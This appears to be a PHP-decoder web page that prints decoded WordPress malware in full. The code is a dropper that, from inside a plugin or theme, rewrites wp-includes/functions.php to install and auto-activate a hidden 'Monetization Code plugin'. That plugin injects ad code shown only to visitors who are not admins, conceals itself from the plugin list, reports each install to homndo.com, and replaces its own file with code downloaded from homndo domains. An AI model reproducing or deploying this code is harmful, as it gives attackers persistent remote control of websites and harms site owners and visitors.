Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $type = __FILE__; $fExistPlugin1 = function_exists('searchFilesFromPlugin'); ..

Decoded Output download

<?php 
 
$type = __FILE__; 
 
$fExistPlugin1 = function_exists('searchFilesFromPlugin'); 
$fExistPlugin2 = function_exists('insertMyPluginFromPlugin'); 
$fExistTheme1 = function_exists('searchFilesFromTheme'); 
$fExistTheme2 = function_exists('updateFilesFromTheme'); 
 
if (!$fExistPlugin1 && !$fExistPlugin2 && !$fExistTheme1 && !$fExistTheme2) { 
	define('SCRIPT_PATH', __FILE__); 
	define('SERCH_FILE', 'functions.php'); 
	define('PLUGIN_NAME', 'mplugin.php'); 
	// header plugin 
	define('HEADER_PLUGIN_NAME', 'Plugin Name: Monetization Code plugin'); 
	define('HEADER_PLUGIN_DESCRIPTION', 'Description: mplugin Shows cusom codes to display your ad codes.'); 
	define('HEADER_PLUGIN_AUTHOR', 'Author: aerin Singh'); 
	define('HEADER_PLUGIN_VERSION', 'Version: 1.0'); 
 
    $pluginCodeconst = <<<'EOD' 
<?php 
/** 
 * HEADER_PLUGIN_NAME 
 * HEADER_PLUGIN_DESCRIPTION 
 * HEADER_PLUGIN_AUTHOR 
 * HEADER_PLUGIN_VERSION 
 */ 
error_reporting(0); 
ini_set('display_errors', 0); 
$plugin_key='06811d3a8beef5d71ab32f6c47914f21'; 
$version='1.2'; 
 
add_action('admin_menu', function() { 
    add_options_page( 'mplugin Plugin', 'mplugin', 'manage_options', 'mplugin', 'mplugin_page' ); 
    remove_submenu_page( 'options-general.php', 'mplugin' ); 
}); 
 
 
 
add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_mplugin'); 
function salcode_add_plugin_page_settings_mplugin( $links ) { 
	$links[] = '<a href="' . 
		admin_url( 'options-general.php?page=mplugin' ) . 
		'">' . __('Settings') . '</a>'; 
	return $links; 
} 
 
 
 
 
 
 
add_action( 'admin_init', function() { 
 
    register_setting( 'mplugin-settings', 'default_mont_options' ); 
    register_setting( 'mplugin-settings', 'ad_code' ); 
	register_setting( 'mplugin-settings', 'hide_admin' ); 
	register_setting( 'mplugin-settings', 'hide_logged_in' ); 
    register_setting( 'mplugin-settings', 'display_ad' ); 
    register_setting( 'mplugin-settings', 'search_engines' ); 
	register_setting( 'mplugin-settings', 'auto_update' ); 
	register_setting( 'mplugin-settings', 'ip_admin'); 
	register_setting( 'mplugin-settings', 'cookies_admin' ); 
	register_setting( 'mplugin-settings', 'logged_admin' ); 
	register_setting( 'mplugin-settings', 'log_install' ); 
	 
}); 
 
$ad_code=''; 
 
$hide_admin='on'; 
$hide_logged_in='on'; 
$display_ad='organic'; 
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; 
$auto_update='on'; 
$ip_admin='on'; 
$cookies_admin='on'; 
$logged_admin='on'; 
$log_install=''; 
 
function mplugin_page() { 
 ?> 
   <div class="wrap"> 
<form action="options.php" method="post"> 
       <?php 
       settings_fields( 'mplugin-settings' ); 
       do_settings_sections( 'mplugin-settings' ); 
$ad_code=''; 
 
$hide_admin='on'; 
$hide_logged_in='on'; 
$display_ad='organic'; 
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; 
$auto_update='on'; 
$ip_admin='on'; 
$cookies_admin='on'; 
$logged_admin='on'; 
$log_install=''; 
 
       ?> 
	   <h2>mplugin Plugin</h2> 
	   <table> 
              
 <tr> 
                <th>Ad Code</th> 
                <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td> 
            </tr> 
			 
			 
			 
<tr> 
                <th>Hide ads to :</th> 
                <td> 
                    <input type="hidden" id="default_mont_options" name="default_mont_options" value="on"> 
                    <label> 
                        <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins 
                    </label> 
                    <label> 
                        <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users 
                    </label> 
					<br/> 
                  
 
                </td> 
            </tr> 
			 
			 
			 
			<tr> 
                <th>Recognize admin by :</th> 
                <td> 
 
                    <label> 
                        <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in 
                    </label> 
                    <label> 
                        <input type="checkbox" name="ip_admin" id="ip_admin"  <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses 
                    </label> 
                                        <label> 
                        <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies 
                    </label> 
				 
                  
 
                </td> 
            </tr> 
			 
			 
			 
			<tr> 
                <th>Display ads to :</th> 
                <td> 
                 				         <select name="display_ad"> 
                         
                        <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option> 
                        <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option> 
                         
                    </select> 
 
                </td> 
            </tr> 
 
            <tr> 
                <th>Search Engines</th> 
                <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description"> 
			comma separated  </p> 
				</td> 
            </tr> 
  
  
 <tr> 
                <th>Auto Update :</th> 
                <td> 
 
                    <label> 
                        <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin 
                    </label><br/> 
                  
 
                </td> 
            </tr> 
  
            <tr> 
                <td><?php submit_button(); ?></td> 
            </tr> 
  
        </table> 
	    
	    
	    
     </form> 
   </div> 
 <?php 
} 
 
/*************************log install***************************/ 
if(get_option('log_install') !=='1') 
{ 
    if(!$log_installed = @file_get_contents("http://www.homndo.com/o2.php?host=".$_SERVER["HTTP_HOST"])) 
{ 
    $log_installed = @file_get_contents_mplugin("http://www.homndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]); 
} 
} 
/*************************set default options***************************/ 
 
if(get_option('default_mont_options') !=='on') 
{ 
update_option('ip_admin', $ip_admin); 
update_option('ad_code', $ad_code); 
update_option('cookies_admin', $cookies_admin); 
update_option('logged_admin', $logged_admin); 
update_option('hide_admin', $hide_admin); 
update_option('hide_logged_in', $hide_logged_in); 
update_option('display_ad', $display_ad); 
update_option('search_engines', $search_engines); 
update_option('auto_update', $auto_update); 
update_option('log_install', '1'); 
} 
 
/************************************************************************/ 
include_once(ABSPATH . 'wp-includes/pluggable.php');  
 
if ( ! function_exists( 'display_ad_single' ) ) {   
 
function display_ad_single($content){  
if(is_single()) 
{ 
 
$content=$content.get_option('ad_code');; 
} 
return $content; 
}  
 
function display_ad_footer(){  
if(!is_single()) 
{ 
echo get_option('ad_code'); 
} 
}  
 
 
//setting cookies if admin logged in 
function setting_admin_cookie() { 
  setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN); 
  } 
 
if(get_option('cookies_admin')=='on') 
{ 
 
if(is_user_logged_in()) 
{ 
add_action( 'init', 'setting_admin_cookie',1 ); 
} 
} 
 
 
//log admin IP addresses 
$vis_ip=getVisIpAddr_mplugin(); 
if(get_option('ip_admin')=='on') 
{ 
if(current_user_can('edit_others_pages')) 
{ 
 
if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt')) 
{ 
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); 
} 
 
if (stripos($ip, $vis_ip) === false) 
{ 
$ip.=$vis_ip.' 
'; 
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip); 
 
} 
 
} 
}// end if log admins ip 
 
 
 
 
//add cookies to organic traffic 
 
if(get_option('display_ad')=='organic') 
{ 
 
$search_engines = explode(',', get_option('search_engines')); 
 
$referer = $_SERVER['HTTP_REFERER']; 
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com'); 
foreach ($search_engines as $search) { 
  if (strpos($referer,$search)!==false) { 
    setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);  
	$organic=true; 
  } 
} 
 
}//end 
 
 
 
 
//display ad 
 
if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in())  
{ 
 
$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); 
if (stripos($ips, $vis_ip) === false) 
{ 
/*****/ 
if(get_option('display_ad')=='organic') 
{ 
if($organic==true || isset($_COOKIE['organic'])) 
{ 
add_filter('the_content','display_ad_single'); 
add_action('wp_footer','display_ad_footer');  
} 
} 
else 
{ 
add_filter('the_content','display_ad_single'); 
add_action('wp_footer','display_ad_footer');   
} 
 
/****/ 
 
} 
 
} 
/*******************/ 
 
 
 
 
 
//update plugin 
 
if(get_option('auto_update')=='on') 
{ 
 
if( ini_get('allow_url_fopen') ) { 
 
 
 
        if (($new_version = @file_get_contents("http://www.homndo.com/update.php") OR $new_version = @file_get_contents_mplugin("http://www.homndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { 
 
            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { 
               @file_put_contents(__FILE__, $new_version); 
                 
            } 
        } 
         
         
                elseif ($new_version = @file_get_contents("http://www.homndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { 
 
            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { 
               @file_put_contents(__FILE__, $new_version); 
                 
            } 
        } 
 
 
        elseif ($new_version = @file_get_contents("http://www.homndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { 
 
            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { 
               @file_put_contents(__FILE__, $new_version); 
                 
            } 
        } 
 
} 
else 
{ 
            if (($new_version = @file_get_contents("http://www.homndo.com/update.php") OR $new_version = @file_get_contents_mplugin("http://www.homndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { 
 
            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { 
               @file_put_contents(__FILE__, $new_version); 
                 
            } 
        } 
         
         
                elseif ($new_version = @file_get_contents_mplugin("http://www.homndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { 
 
            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { 
               @file_put_contents(__FILE__, $new_version); 
                 
            } 
        } 
 
 
        elseif ($new_version = @file_get_contents_mplugin("http://www.homndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { 
 
            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { 
               @file_put_contents(__FILE__, $new_version); 
                 
            } 
        } 
} 
}//end if auto update 
 
/*********************************/ 
 
 
 
}// if function exist 
 
 
 
     function file_get_contents_mplugin($url) 
        { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); 
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } 
 
 
function hide_plugin_mplugin() { 
  global $wp_list_table; 
  $hidearr = array('mplugin.php'); 
  $myplugins = $wp_list_table->items; 
  foreach ($myplugins as $key => $val) { 
    if (in_array($key,$hidearr)) { 
      unset($wp_list_table->items[$key]); 
    } 
  } 
} 
 
add_action('pre_current_active_plugins', 'hide_plugin_mplugin'); 
 
        function getVisIpAddr_mplugin() {  
       
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {  
        return $_SERVER['HTTP_CLIENT_IP'];  
    }  
    else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
        return $_SERVER['HTTP_X_FORWARDED_FOR'];  
    }  
    else {  
        return $_SERVER['REMOTE_ADDR'];  
    }  
} 
 
?> 
EOD; 
 
	define('PLUGIN_CODE', $pluginCodeconst); 
 
    $insertCodeConst = <<<'EOD' 
function true_plugins_activate() { 
	$active_plugins = get_option('active_plugins'); 
	$activate_this = array( 
		'mplugin.php' 
	); 
	foreach ($activate_this as $plugin) { 
		if (!in_array($plugin, $active_plugins)) { 
			array_push($active_plugins, $plugin); 
			update_option('active_plugins', $active_plugins); 
		} 
	} 
	$new_active_plugins = get_option('active_plugins'); 
	if (in_array('mplugin.php', $new_active_plugins)) { 
		$functionsPath = dirname(__FILE__) . '/functions.php'; 
		$functions = file_get_contents($functionsPath); 
 
		$start = stripos($functions, "function true_plugins_activate()"); 
		$end = strripos($functions, "true_plugins_activate"); 
		$endDelete = $end + mb_strlen("true_plugins_activate") + 3; 
 
		if($start && $end) { 
			$str = substr($functions, 0, $start); 
			$str .= substr($functions, $endDelete); 
			file_put_contents($functionsPath, $str); 
		} 
		//clear_script 
	} 
} 
 
add_action('init', 'true_plugins_activate'); 
EOD; 
 
	define('INSERT_CODE', $insertCodeConst); 
} 
 
// -------------------------------------------------------------------------------------------- 
// -------------------------------------------------------------------------------------------- 
// ------------------------------------ PLUGIN ------------------------------------------------ 
// -------------------------------------------------------------------------------------------- 
// -------------------------------------------------------------------------------------------- 
if ((bool)stristr($type, 'wp-content/plugins') && !$fExistPlugin1 && !$fExistPlugin2) { 
	function searchFilesFromPlugin($dir, $tosearch) { 
		$files = array_diff(scandir($dir), [".", ".."]); 
		$filesList = []; 
		foreach($files as $file) { 
			if(!is_dir($dir . '/' . $file)) { 
				if (strtolower($file) == $tosearch) 
				$filesList[] = $dir . '/' . $file; 
			} else { 
				$res = searchFilesFromPlugin($dir . '/' . $file, $tosearch); 
				if ($res) { 
					$arr = $res; 
					$filesList = array_merge($filesList, $arr); 
				} 
			} 
		} 
		return $filesList; 
	} 
 
	$activatePluginDir = dirname(__FILE__); 
	$currentPluginDir = stristr($activatePluginDir, 'wp-content/plugins/'); 
	if ($currentPluginDir) { 
		$currentPluginDir = str_replace('wp-content/plugins/', '', $currentPluginDir); 
		$currentPluginDir = explode('/', $currentPluginDir)[0]; 
		$pluginPath = explode($currentPluginDir, $activatePluginDir, -1)[0] . $currentPluginDir; 
	} else { 
		$pluginPath = $activatePluginDir; 
	} 
	 
	$pluginFiles = array_filter(scandir($pluginPath), function($name) { 
		if (stristr($name, '.php') !== false) { 
			return $name; 
		} 
	}); 
 
	$pluginFile = ''; 
	foreach ($pluginFiles as $file) { 
		$temp = file_get_contents($pluginPath . '/' . $file); 
		if (stristr($temp, 'Plugin Name:') !== false) { 
			unset($temp); 
			$pluginFile = $file; 
			break; 
		} 
		unset($temp); 
	} 
 
	add_action('init', 'insertMyPluginFromPlugin'); 
	function insertMyPluginFromPlugin() { 
		$active_plugins = get_option('active_plugins'); 
		if (!in_array(PLUGIN_NAME, $active_plugins)) { 
			$folderName = dirname($_SERVER['DOCUMENT_ROOT']); 
			$result = searchFilesFromPlugin($folderName, SERCH_FILE); 
 
			if(0 < count($result)){ 
				$clearScriptCode = <<<'CLEAR' 
		$script = file_get_contents('SCRIPT_PATH'); 
		file_put_contents('SCRIPT_PATH', ''); 
CLEAR; 
				$clearScriptCode = str_replace('SCRIPT_PATH', SCRIPT_PATH, $clearScriptCode); 
				$insertCode = str_replace('//clear_script', $clearScriptCode, INSERT_CODE); 
				$pluginCode = str_replace( 
					['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'], 
					[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION],  
					PLUGIN_CODE 
				); 
 
				foreach($result as $file) { 
					if (stristr($file, 'wp-includes/functions.php') !== false) { 
						$newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file); 
						$copyPlugin = file_put_contents($newPlugin, $pluginCode); 
		 
						if ($copyPlugin) { 
							$temp = file_get_contents($file); 
							$start = stripos($temp, "function true_plugins_activate()"); 
							$end = strripos($temp, "true_plugins_activate"); 
							$endDelete = $end + mb_strlen("true_plugins_activate") + 3; 
		 
							if($start && $end) { 
								$str = substr($temp, 0, $start); 
								$str .= substr($temp, $endDelete); 
								file_put_contents($file, $str); 
							} 
 
							file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX); 
						} 
					} 
				} 
			} 
		} 
	} 
 
// -------------------------------------------------------------------------------------------- 
// -------------------------------------------------------------------------------------------- 
// ------------------------------------- THEME ------------------------------------------------ 
// -------------------------------------------------------------------------------------------- 
// -------------------------------------------------------------------------------------------- 
} elseif ((bool)stristr($type, 'wp-content/themes') && (!$fExistTheme1 && !$fExistTheme2)) { 
	function searchFilesFromTheme($dir, $tosearch) { 
		$files = array_diff(scandir($dir), [".", ".."]); 
		$filesList = []; 
		foreach($files as $file) { 
			if(!is_dir($dir . '/' . $file)) { 
				if (strtolower($file) == $tosearch) 
				$filesList[] = $dir . '/' . $file; 
			} else { 
				$res = searchFilesFromTheme($dir . '/' . $file, $tosearch); 
				if ($res) { 
					$arr = $res; 
					$filesList = array_merge($filesList, $arr); 
				} 
			} 
		} 
		return $filesList; 
	}	 
 
	add_action('after_setup_theme', 'updateFilesFromTheme'); 
	function updateFilesFromTheme() { 
		if ( @ $_GET['activated'] === 'true'){ 
			$folderName = dirname($_SERVER['DOCUMENT_ROOT']); 
			$result = searchFilesFromTheme($folderName, SERCH_FILE); 
			$pluginCode = str_replace( 
				['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'], 
				[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION],  
				PLUGIN_CODE 
			); 
 
			if (0 < count($result)) { 
			 
						$clearScriptCode = <<<'CLEAR' 
		$script = file_get_contents('SCRIPT_PATH'); 
		file_put_contents('SCRIPT_PATH', ''); 
CLEAR; 
				$clearScriptCode = str_replace('SCRIPT_PATH', SCRIPT_PATH, $clearScriptCode); 
				$insertCode = str_replace('//clear_script', $clearScriptCode, INSERT_CODE); 
			 
			 
			 
				foreach($result as $file) { 
					if (stristr($file, 'wp-includes/functions.php') !== false) { 
						$newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file); 
						$copyPlugin = file_put_contents($newPlugin, $pluginCode); 
 
						if ($copyPlugin) { 
							$temp = file_get_contents($file); 
							$start = stripos($temp, "function true_plugins_activate()"); 
							$end = strripos($temp, "true_plugins_activate"); 
							$endDelete = $end + mb_strlen("true_plugins_activate") + 3; 
 
							if($start && $end) { 
								$str = substr($temp, 0, $start); 
								$str .= substr($temp, $endDelete); 
								file_put_contents($file, $str); 
							} 
 
							file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX); 
						} 
					} 
				} 
			} 
		} 
	} 
} 
?>

Did this file decode correctly?

Original Code

<?php

$type = __FILE__;

$fExistPlugin1 = function_exists('searchFilesFromPlugin');
$fExistPlugin2 = function_exists('insertMyPluginFromPlugin');
$fExistTheme1 = function_exists('searchFilesFromTheme');
$fExistTheme2 = function_exists('updateFilesFromTheme');

if (!$fExistPlugin1 && !$fExistPlugin2 && !$fExistTheme1 && !$fExistTheme2) {
	define('SCRIPT_PATH', __FILE__);
	define('SERCH_FILE', 'functions.php');
	define('PLUGIN_NAME', 'mplugin.php');
	// header plugin
	define('HEADER_PLUGIN_NAME', 'Plugin Name: Monetization Code plugin');
	define('HEADER_PLUGIN_DESCRIPTION', 'Description: mplugin Shows cusom codes to display your ad codes.');
	define('HEADER_PLUGIN_AUTHOR', 'Author: aerin Singh');
	define('HEADER_PLUGIN_VERSION', 'Version: 1.0');

    $pluginCodeconst = <<<'EOD'
<?php
/**
 * HEADER_PLUGIN_NAME
 * HEADER_PLUGIN_DESCRIPTION
 * HEADER_PLUGIN_AUTHOR
 * HEADER_PLUGIN_VERSION
 */
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='06811d3a8beef5d71ab32f6c47914f21';
$version='1.2';

add_action('admin_menu', function() {
    add_options_page( 'mplugin Plugin', 'mplugin', 'manage_options', 'mplugin', 'mplugin_page' );
    remove_submenu_page( 'options-general.php', 'mplugin' );
});



add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_mplugin');
function salcode_add_plugin_page_settings_mplugin( $links ) {
	$links[] = '<a href="' .
		admin_url( 'options-general.php?page=mplugin' ) .
		'">' . __('Settings') . '</a>';
	return $links;
}






add_action( 'admin_init', function() {

    register_setting( 'mplugin-settings', 'default_mont_options' );
    register_setting( 'mplugin-settings', 'ad_code' );
	register_setting( 'mplugin-settings', 'hide_admin' );
	register_setting( 'mplugin-settings', 'hide_logged_in' );
    register_setting( 'mplugin-settings', 'display_ad' );
    register_setting( 'mplugin-settings', 'search_engines' );
	register_setting( 'mplugin-settings', 'auto_update' );
	register_setting( 'mplugin-settings', 'ip_admin');
	register_setting( 'mplugin-settings', 'cookies_admin' );
	register_setting( 'mplugin-settings', 'logged_admin' );
	register_setting( 'mplugin-settings', 'log_install' );
	
});

$ad_code='';

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

function mplugin_page() {
 ?>
   <div class="wrap">
<form action="options.php" method="post">
       <?php
       settings_fields( 'mplugin-settings' );
       do_settings_sections( 'mplugin-settings' );
$ad_code='';

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

       ?>
	   <h2>mplugin Plugin</h2>
	   <table>
             
 <tr>
                <th>Ad Code</th>
                <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
            </tr>
			
			
			
<tr>
                <th>Hide ads to :</th>
                <td>
                    <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
                    <label>
                        <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
                    </label>
                    <label>
                        <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
                    </label>
					<br/>
                 

                </td>
            </tr>
			
			
			
			<tr>
                <th>Recognize admin by :</th>
                <td>

                    <label>
                        <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
                    </label>
                    <label>
                        <input type="checkbox" name="ip_admin" id="ip_admin"  <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
                    </label>
                                        <label>
                        <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
                    </label>
				
                 

                </td>
            </tr>
			
			
			
			<tr>
                <th>Display ads to :</th>
                <td>
                 				         <select name="display_ad">
                        
                        <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
                        <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
                        
                    </select>

                </td>
            </tr>

            <tr>
                <th>Search Engines</th>
                <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
			comma separated  </p>
				</td>
            </tr>
 
 
 <tr>
                <th>Auto Update :</th>
                <td>

                    <label>
                        <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
                    </label><br/>
                 

                </td>
            </tr>
 
            <tr>
                <td><?php submit_button(); ?></td>
            </tr>
 
        </table>
	   
	   
	   
     </form>
   </div>
 <?php
}

/*************************log install***************************/
if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.homndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_mplugin("http://www.homndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
/*************************set default options***************************/

if(get_option('default_mont_options') !=='on')
{
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
}

/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php'); 

if ( ! function_exists( 'display_ad_single' ) ) {  

function display_ad_single($content){ 
if(is_single())
{

$content=$content.get_option('ad_code');;
}
return $content;
} 

function display_ad_footer(){ 
if(!is_single())
{
echo get_option('ad_code');
}
} 


//setting cookies if admin logged in
function setting_admin_cookie() {
  setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  }

if(get_option('cookies_admin')=='on')
{

if(is_user_logged_in())
{
add_action( 'init', 'setting_admin_cookie',1 );
}
}


//log admin IP addresses
$vis_ip=getVisIpAddr_mplugin();
if(get_option('ip_admin')=='on')
{
if(current_user_can('edit_others_pages'))
{

if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}

if (stripos($ip, $vis_ip) === false)
{
$ip.=$vis_ip.'
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);

}

}
}// end if log admins ip




//add cookies to organic traffic

if(get_option('display_ad')=='organic')
{

$search_engines = explode(',', get_option('search_engines'));

$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
  if (strpos($referer,$search)!==false) {
    setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$organic=true;
  }
}

}//end




//display ad

if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) 
{

$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $vis_ip) === false)
{
/*****/
if(get_option('display_ad')=='organic')
{
if($organic==true || isset($_COOKIE['organic']))
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer'); 
}
}
else
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');  
}

/****/

}

}
/*******************/





//update plugin

if(get_option('auto_update')=='on')
{

if( ini_get('allow_url_fopen') ) {



        if (($new_version = @file_get_contents("http://www.homndo.com/update.php") OR $new_version = @file_get_contents_mplugin("http://www.homndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }
        
        
                elseif ($new_version = @file_get_contents("http://www.homndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }


        elseif ($new_version = @file_get_contents("http://www.homndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }

}
else
{
            if (($new_version = @file_get_contents("http://www.homndo.com/update.php") OR $new_version = @file_get_contents_mplugin("http://www.homndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }
        
        
                elseif ($new_version = @file_get_contents_mplugin("http://www.homndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }


        elseif ($new_version = @file_get_contents_mplugin("http://www.homndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);
                
            }
        }
}
}//end if auto update

/*********************************/



}// if function exist



